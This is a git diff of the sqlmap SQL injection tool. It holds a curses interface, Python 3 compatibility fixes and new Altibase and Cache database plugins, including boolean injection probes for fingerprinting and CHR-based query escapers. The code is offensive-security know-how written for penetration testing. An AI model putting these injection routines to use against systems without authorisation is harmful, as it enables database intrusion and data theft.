remaining: + current_line += remaining.decode('utf-8', errors='ignore') + for line in current_line.split('\n'): + if line: + lines.append(line) + except: + pass + + # Display final output + output_win.clear() + start_line = max(0, len(lines) - (height - 10)) + for i, l in enumerate(lines[start_line:]): + try: + output_win.addstr(i, 0, l[:width-10]) + except: + pass + + output_win.addstr(height - 9, 0, "--- Process finished. Press Q to close ---") + output_win.refresh() + console_win.refresh() + + # Wait for Q + console_win.nodelay(False) + while True: + key = console_win.getch() + if key in (ord('q'), ord('Q')): + break + + break + + # Small delay + curses.napms(50) + + except Exception as ex: + output_win.addstr(0, 0, "Error: %s" % getSafeExString(ex)) + output_win.refresh() + console_win.nodelay(False) + console_win.getch() + + finally: + # Clean up + try: + os.unlink(configFile) + except: + pass + + console_win.nodelay(False) + output_win.nodelay(False) + del output_win + del console_win + + def run(self): + """Main UI loop""" + while True: + self.stdscr.clear() + + # Draw UI + self._draw_header() + self._draw_tabs() + self._draw_current_tab() + self._draw_footer() + + self.stdscr.refresh() + + # Get input + key = self.stdscr.getch() + + tab = self.tabs[self.current_tab] + + # Handle input + if key == curses.KEY_F10 or key == 27: # F10 or ESC + break + elif key == ord('\t') or key == curses.KEY_RIGHT: # Tab or Right arrow + self.current_tab = (self.current_tab + 1) % len(self.tabs) + self.current_field = 0 + self.scroll_offset = 0 + elif key == curses.KEY_LEFT: # Left arrow + self.current_tab = (self.current_tab - 1) % len(self.tabs) + self.current_field = 0 + self.scroll_offset = 0 + elif key == curses.KEY_UP: # Up arrow + if self.current_field > 0: + self.current_field -= 1 + # Adjust scroll if needed + if self.current_field < self.scroll_offset: + self.scroll_offset = self.current_field + elif key == curses.KEY_DOWN: # Down arrow + if self.current_field < len(tab['options']) - 1: + self.current_field += 1 + # Adjust scroll if needed + height, width = self.stdscr.getmaxyx() + visible_lines = height - 8 + if self.current_field >= self.scroll_offset + visible_lines: + self.scroll_offset = self.current_field - visible_lines + 1 + elif key == curses.KEY_ENTER or key == 10 or key == 13: # Enter + self._edit_field() + elif key == curses.KEY_F2: # F2 to run + self._run_sqlmap() + elif key == curses.KEY_F3: # F3 to export + self._export_config() + elif key == curses.KEY_F4: # F4 to import + self._import_config() + elif key == ord(' '): # Space for boolean toggle + option = tab['options'][self.current_field] + if option['type'] == 'bool': + option['value'] = not option['value'] + +def runTui(parser): + """Main entry point for ncurses TUI""" + # Check if ncurses is available + if curses is None: + raise SqlmapMissingDependence("missing 'curses' module (optional Python module). Use a Python build that includes curses/ncurses, or install the platform-provided equivalent (e.g. for Windows: pip install windows-curses)") + try: + # Initialize and run + def main(stdscr): + ui = NcursesUI(stdscr, parser) + ui.run() + + curses.wrapper(main) + + except Exception as ex: + errMsg = "unable to create ncurses UI ('%s')" % getSafeExString(ex) + raise SqlmapSystemException(errMsg) diff --git a/lib/utils/versioncheck.py b/lib/utils/versioncheck.py index 7e17f28bc65..d54a313aca3 100644 --- a/lib/utils/versioncheck.py +++ b/lib/utils/versioncheck.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -10,8 +10,8 @@ PYVERSION = sys.version.split()[0] -if PYVERSION >= "3" or PYVERSION < "2.6": - exit("[%s] [CRITICAL] incompatible Python version detected ('%s'). To successfully run sqlmap you'll have to use version 2.6.x or 2.7.x (visit 'https://www.python.org/downloads/')" % (time.strftime("%X"), PYVERSION)) +if PYVERSION < "2.7": + sys.exit("[%s] [CRITICAL] incompatible Python version detected ('%s'). To successfully run sqlmap you'll have to use version 2.7 or 3.x (visit 'https://www.python.org/downloads/')" % (time.strftime("%X"), PYVERSION)) errors = [] extensions = ("bz2", "gzip", "pyexpat", "ssl", "sqlite3", "zlib") @@ -22,7 +22,7 @@ errors.append(_) if errors: - errMsg = "missing one or more core extensions (%s) " % (", ".join("'%s'" % _ for _ in errors)) + errMsg = "[%s] [CRITICAL] missing one or more core extensions (%s) " % (time.strftime("%X"), ", ".join("'%s'" % _ for _ in errors)) errMsg += "most likely because current version of Python has been " errMsg += "built without appropriate dev packages" - exit(errMsg) + sys.exit(errMsg) diff --git a/lib/utils/xrange.py b/lib/utils/xrange.py index 119c2a39c22..1a911b567e3 100644 --- a/lib/utils/xrange.py +++ b/lib/utils/xrange.py @@ -1,15 +1,31 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ +import numbers + class xrange(object): """ Advanced (re)implementation of xrange (supports slice/copy/etc.) Reference: http://code.activestate.com/recipes/521885-a-pythonic-implementation-of-xrange/ + >>> list(xrange(1, 9)) == list(range(1, 9)) + True + >>> list(xrange(8, 0, -16)) == list(range(8, 0, -16)) + True + >>> list(xrange(0, 8, 16)) == list(range(0, 8, 16)) + True + >>> list(xrange(0, 4, 5)) == list(range(0, 4, 5)) + True + >>> list(xrange(4, 0, 3)) == list(range(4, 0, 3)) + True + >>> list(xrange(0, -3)) == list(range(0, -3)) + True + >>> list(xrange(0, 7, 2)) == list(range(0, 7, 2)) + True >>> foobar = xrange(1, 10) >>> 7 in foobar True @@ -48,9 +64,6 @@ def step(self): def __hash__(self): return hash(self._slice) - def __cmp__(self, other): - return (cmp(type(self), type(other)) or cmp(self._slice, other._slice)) - def __repr__(self): return '%s(%r, %r, %r)' % (type(self).__name__, self.start, self.stop, self.step) @@ -58,7 +71,7 @@ def __len__(self): return self._len() def _len(self): - return max(0, int((self.stop - self.start) // self.step)) + return max(0, 1 + int((self.stop - 1 - self.start) // self.step)) def __contains__(self, value): return (self.start <= value < self.stop) and (value - self.start) % self.step == 0 @@ -68,7 +81,7 @@ def __getitem__(self, index): start, stop, step = index.indices(self._len()) return xrange(self._index(start), self._index(stop), step * self.step) - elif isinstance(index, (int, long)): + elif isinstance(index, numbers.Integral): if index < 0: fixed_index = index + self._len() else: diff --git a/plugins/__init__.py b/plugins/__init__.py index c654cbef7f4..bcac841631b 100644 --- a/plugins/__init__.py +++ b/plugins/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/__init__.py b/plugins/dbms/__init__.py index c654cbef7f4..bcac841631b 100644 --- a/plugins/dbms/__init__.py +++ b/plugins/dbms/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/__init__.py b/plugins/dbms/access/__init__.py index 3529701b07d..fbb3a131c46 100644 --- a/plugins/dbms/access/__init__.py +++ b/plugins/dbms/access/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -23,11 +23,7 @@ class AccessMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Tak def __init__(self): self.excludeDbsList = ACCESS_SYSTEM_DBS - Syntax.__init__(self) - Fingerprint.__init__(self) - Enumeration.__init__(self) - Filesystem.__init__(self) - Miscellaneous.__init__(self) - Takeover.__init__(self) + for cls in self.__class__.__bases__: + cls.__init__(self) unescaper[DBMS.ACCESS] = Syntax.escape diff --git a/plugins/dbms/access/connector.py b/plugins/dbms/access/connector.py index e2d640a5dcf..91b8f246649 100644 --- a/plugins/dbms/access/connector.py +++ b/plugins/dbms/access/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -22,16 +22,12 @@ class Connector(GenericConnector): """ - Homepage: http://pyodbc.googlecode.com/ - User guide: http://code.google.com/p/pyodbc/wiki/GettingStarted - API: http://code.google.com/p/pyodbc/w/list + Homepage: https://github.com/mkleehammer/pyodbc + User guide: https://github.com/mkleehammer/pyodbc/wiki Debian package: python-pyodbc License: MIT """ - def __init__(self): - GenericConnector.__init__(self) - def connect(self): if not IS_WIN: errMsg = "currently, direct connection to Microsoft Access database(s) " diff --git a/plugins/dbms/access/enumeration.py b/plugins/dbms/access/enumeration.py index 22276102448..806049186a0 100644 --- a/plugins/dbms/access/enumeration.py +++ b/plugins/dbms/access/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -9,73 +9,76 @@ from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): - def __init__(self): - GenericEnumeration.__init__(self) - def getBanner(self): - warnMsg = "on Microsoft Access it is not possible to get a banner" - logger.warn(warnMsg) + warnMsg = "on Microsoft Access it is not possible to get the banner" + logger.warning(warnMsg) return None def getCurrentUser(self): warnMsg = "on Microsoft Access it is not possible to enumerate the current user" - logger.warn(warnMsg) + logger.warning(warnMsg) def getCurrentDb(self): warnMsg = "on Microsoft Access it is not possible to get name of the current database" - logger.warn(warnMsg) + logger.warning(warnMsg) - def isDba(self): + def isDba(self, user=None): warnMsg = "on Microsoft Access it is not possible to test if current user is DBA" - logger.warn(warnMsg) + logger.warning(warnMsg) def getUsers(self): warnMsg = "on Microsoft Access it is not possible to enumerate the users" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def getPasswordHashes(self): warnMsg = "on Microsoft Access it is not possible to enumerate the user password hashes" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} - def getPrivileges(self, *args): + def getPrivileges(self, *args, **kwargs): warnMsg = "on Microsoft Access it is not possible to enumerate the user privileges" - logger.warn(warnMsg) + logger.warning(warnMsg) return {} def getDbs(self): warnMsg = "on Microsoft Access it is not possible to enumerate databases (use only '--tables')" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def searchDb(self): warnMsg = "on Microsoft Access it is not possible to search databases" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def searchTable(self): warnMsg = "on Microsoft Access it is not possible to search tables" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def searchColumn(self): warnMsg = "on Microsoft Access it is not possible to search columns" - logger.warn(warnMsg) + logger.warning(warnMsg) return [] def search(self): warnMsg = "on Microsoft Access search option is not available" - logger.warn(warnMsg) + logger.warning(warnMsg) def getHostname(self): warnMsg = "on Microsoft Access it is not possible to enumerate the hostname" - logger.warn(warnMsg) + logger.warning(warnMsg) + + def getStatements(self): + warnMsg = "on Microsoft Access it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] diff --git a/plugins/dbms/access/filesystem.py b/plugins/dbms/access/filesystem.py index 7d0006c8d4f..bb8c17d1ec8 100644 --- a/plugins/dbms/access/filesystem.py +++ b/plugins/dbms/access/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -9,13 +9,10 @@ from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def __init__(self): - GenericFilesystem.__init__(self) - - def readFile(self, rFile): + def readFile(self, remoteFile): errMsg = "on Microsoft Access it is not possible to read files" raise SqlmapUnsupportedFeatureException(errMsg) - def writeFile(self, wFile, dFile, fileType=None, forceCheck=False): + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): errMsg = "on Microsoft Access it is not possible to write files" raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/access/fingerprint.py b/plugins/dbms/access/fingerprint.py index 339edba51ca..e542e889ece 100644 --- a/plugins/dbms/access/fingerprint.py +++ b/plugins/dbms/access/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -131,11 +131,12 @@ def getFingerprint(self): if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") - if re.search(r"-log$", kb.data.banner): - banVer += ", logging enabled" + if banVer: + if re.search(r"-log$", kb.data.banner or ""): + banVer += ", logging enabled" - banVer = Format.getDbms([banVer]) - value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() @@ -161,11 +162,11 @@ def checkDbms(self): infoMsg = "confirming %s" % DBMS.ACCESS logger.info(infoMsg) - result = inject.checkBooleanExpression("IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0") + result = inject.checkBooleanExpression("IIF(ATN(2) IS NOT NULL,1,0) BETWEEN 2 AND 0") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.ACCESS - logger.warn(warnMsg) + logger.warning(warnMsg) return False setDbms(DBMS.ACCESS) @@ -184,7 +185,7 @@ def checkDbms(self): return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.ACCESS - logger.warn(warnMsg) + logger.warning(warnMsg) return False diff --git a/plugins/dbms/access/syntax.py b/plugins/dbms/access/syntax.py index f6cd030efd8..9935739d90c 100644 --- a/plugins/dbms/access/syntax.py +++ b/plugins/dbms/access/syntax.py @@ -1,19 +1,22 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ +from lib.core.convert import getOrds from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): - def __init__(self): - GenericSyntax.__init__(self) - @staticmethod def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)&CHR(98)&CHR(99)&CHR(100)&CHR(101)&CHR(102)&CHR(103)&CHR(104) FROM foobar" + True + """ + def escaper(value): - return "&".join("CHR(%d)" % ord(_) for _ in value) + return "&".join("CHR(%d)" % _ for _ in getOrds(value)) return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/access/takeover.py b/plugins/dbms/access/takeover.py index e12c4d9adb0..cb6e1fa7971 100644 --- a/plugins/dbms/access/takeover.py +++ b/plugins/dbms/access/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -9,9 +9,6 @@ from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): - def __init__(self): - GenericTakeover.__init__(self) - def osCmd(self): errMsg = "on Microsoft Access it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/altibase/__init__.py b/plugins/dbms/altibase/__init__.py new file mode 100644 index 00000000000..a8e50cf19db --- /dev/null +++ b/plugins/dbms/altibase/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import ALTIBASE_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.altibase.enumeration import Enumeration +from plugins.dbms.altibase.filesystem import Filesystem +from plugins.dbms.altibase.fingerprint import Fingerprint +from plugins.dbms.altibase.syntax import Syntax +from plugins.dbms.altibase.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class AltibaseMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Altibase methods + """ + + def __init__(self): + self.excludeDbsList = ALTIBASE_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.ALTIBASE] = Syntax.escape diff --git a/plugins/dbms/altibase/connector.py b/plugins/dbms/altibase/connector.py new file mode 100644 index 00000000000..bf0f66a6c42 --- /dev/null +++ b/plugins/dbms/altibase/connector.py @@ -0,0 +1,15 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + def connect(self): + errMsg = "on Altibase it is not (currently) possible to establish a " + errMsg += "direct connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/altibase/enumeration.py b/plugins/dbms/altibase/enumeration.py new file mode 100644 index 00000000000..467897eb336 --- /dev/null +++ b/plugins/dbms/altibase/enumeration.py @@ -0,0 +1,20 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getStatements(self): + warnMsg = "on Altibase it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] + + def getHostname(self): + warnMsg = "on Altibase it is not possible to enumerate the hostname" + logger.warning(warnMsg) diff --git a/plugins/dbms/altibase/filesystem.py b/plugins/dbms/altibase/filesystem.py new file mode 100644 index 00000000000..2e61d83c07c --- /dev/null +++ b/plugins/dbms/altibase/filesystem.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + pass diff --git a/plugins/dbms/altibase/fingerprint.py b/plugins/dbms/altibase/fingerprint.py new file mode 100644 index 00000000000..8c99a80ea1f --- /dev/null +++ b/plugins/dbms/altibase/fingerprint.py @@ -0,0 +1,95 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import ALTIBASE_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.ALTIBASE) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.ALTIBASE + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(ALTIBASE_ALIASES): + setDbms(DBMS.ALTIBASE) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.ALTIBASE + logger.info(infoMsg) + + # Reference: http://support.altibase.com/fileDownload.do?gubun=admin&no=228 + result = inject.checkBooleanExpression("CHOSUNG(NULL) IS NULL") + + if result: + infoMsg = "confirming %s" % DBMS.ALTIBASE + logger.info(infoMsg) + + result = inject.checkBooleanExpression("TDESENCRYPT(NULL,NULL) IS NULL") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.ALTIBASE + logger.warning(warnMsg) + + return False + + setDbms(DBMS.ALTIBASE) + + self.getBanner() + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.ALTIBASE + logger.warning(warnMsg) + + return False diff --git a/plugins/dbms/altibase/syntax.py b/plugins/dbms/altibase/syntax.py new file mode 100644 index 00000000000..7ba5c8b9f38 --- /dev/null +++ b/plugins/dbms/altibase/syntax.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar" + True + """ + + def escaper(value): + return "||".join("CHR(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/altibase/takeover.py b/plugins/dbms/altibase/takeover.py new file mode 100644 index 00000000000..abc2f4d9f61 --- /dev/null +++ b/plugins/dbms/altibase/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on Altibase it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on Altibase it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on Altibase it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on Altibase it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/cache/__init__.py b/plugins/dbms/cache/__init__.py new file mode 100644 index 00000000000..b4c8abdce26 --- /dev/null +++ b/plugins/dbms/cache/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import CACHE_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.cache.enumeration import Enumeration +from plugins.dbms.cache.filesystem import Filesystem +from plugins.dbms.cache.fingerprint import Fingerprint +from plugins.dbms.cache.syntax import Syntax +from plugins.dbms.cache.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class CacheMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Cache methods + """ + + def __init__(self): + self.excludeDbsList = CACHE_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.CACHE] = Syntax.escape diff --git a/plugins/dbms/cache/connector.py b/plugins/dbms/cache/connector.py new file mode 100644 index 00000000000..2f2d3c5102f --- /dev/null +++ b/plugins/dbms/cache/connector.py @@ -0,0 +1,77 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +try: + import jaydebeapi + import jpype +except: + pass + +import logging + +from lib.core.common import checkFile +from lib.core.common import getSafeExString +from lib.core.common import readInput +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/ + User guide: https://pypi.python.org/pypi/JayDeBeApi/#usage & http://jpype.sourceforge.net/doc/user-guide/userguide.html + API: - + Debian package: - + License: LGPL & Apache License 2.0 + """ + + def connect(self): + self.initConnection() + try: + msg = "please enter the location of 'cachejdbc.jar'? " + jar = readInput(msg) + checkFile(jar) + args = "-Djava.class.path=%s" % jar + jvm_path = jpype.getDefaultJVMPath() + jpype.startJVM(jvm_path, args) + except Exception as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + try: + driver = 'com.intersys.jdbc.CacheDriver' + connection_string = 'jdbc:Cache://%s:%d/%s' % (self.hostname, self.port, self.db) + self.connector = jaydebeapi.connect(driver, connection_string, str(self.user), str(self.password)) + except Exception as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except Exception as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) + return None + + def execute(self, query): + retVal = False + + try: + self.cursor.execute(query) + retVal = True + except Exception as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) + + self.connector.commit() + + return retVal + + def select(self, query): + self.execute(query) + return self.fetchall() diff --git a/plugins/dbms/cache/enumeration.py b/plugins/dbms/cache/enumeration.py new file mode 100644 index 00000000000..4ac3e1acca7 --- /dev/null +++ b/plugins/dbms/cache/enumeration.py @@ -0,0 +1,48 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from lib.core.settings import CACHE_DEFAULT_SCHEMA +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getCurrentDb(self): + return CACHE_DEFAULT_SCHEMA + + def getUsers(self): + warnMsg = "on Cache it is not possible to enumerate the users" + logger.warning(warnMsg) + + return [] + + def getPasswordHashes(self): + warnMsg = "on Cache it is not possible to enumerate password hashes" + logger.warning(warnMsg) + + return {} + + def getPrivileges(self, *args, **kwargs): + warnMsg = "on Cache it is not possible to enumerate the user privileges" + logger.warning(warnMsg) + + return {} + + def getStatements(self): + warnMsg = "on Cache it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] + + def getRoles(self, *args, **kwargs): + warnMsg = "on Cache it is not possible to enumerate the user roles" + logger.warning(warnMsg) + + return {} + + def getHostname(self): + warnMsg = "on Cache it is not possible to enumerate the hostname" + logger.warning(warnMsg) diff --git a/plugins/dbms/cache/filesystem.py b/plugins/dbms/cache/filesystem.py new file mode 100644 index 00000000000..2e61d83c07c --- /dev/null +++ b/plugins/dbms/cache/filesystem.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + pass diff --git a/plugins/dbms/cache/fingerprint.py b/plugins/dbms/cache/fingerprint.py new file mode 100644 index 00000000000..909f42d2442 --- /dev/null +++ b/plugins/dbms/cache/fingerprint.py @@ -0,0 +1,113 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.common import hashDBRetrieve +from lib.core.common import hashDBWrite +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.enums import FORK +from lib.core.enums import HASHDB_KEYS +from lib.core.session import setDbms +from lib.core.settings import CACHE_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.CACHE) + + def getFingerprint(self): + fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) + + if fork is None: + if inject.checkBooleanExpression("$ZVERSION LIKE '%IRIS%'"): + fork = FORK.IRIS + else: + fork = "" + + hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork) + + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.CACHE + if fork: + value += " (%s fork)" % fork + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + if fork: + value += "\n%sfork fingerprint: %s" % (blank, fork) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(CACHE_ALIASES): + setDbms(DBMS.CACHE) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.CACHE + logger.info(infoMsg) + + result = inject.checkBooleanExpression("$LISTLENGTH(NULL) IS NULL") + + if result: + infoMsg = "confirming %s" % DBMS.CACHE + logger.info(infoMsg) + + result = inject.checkBooleanExpression("%EXTERNAL %INTERNAL NULL IS NULL") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.CACHE + logger.warning(warnMsg) + + return False + + 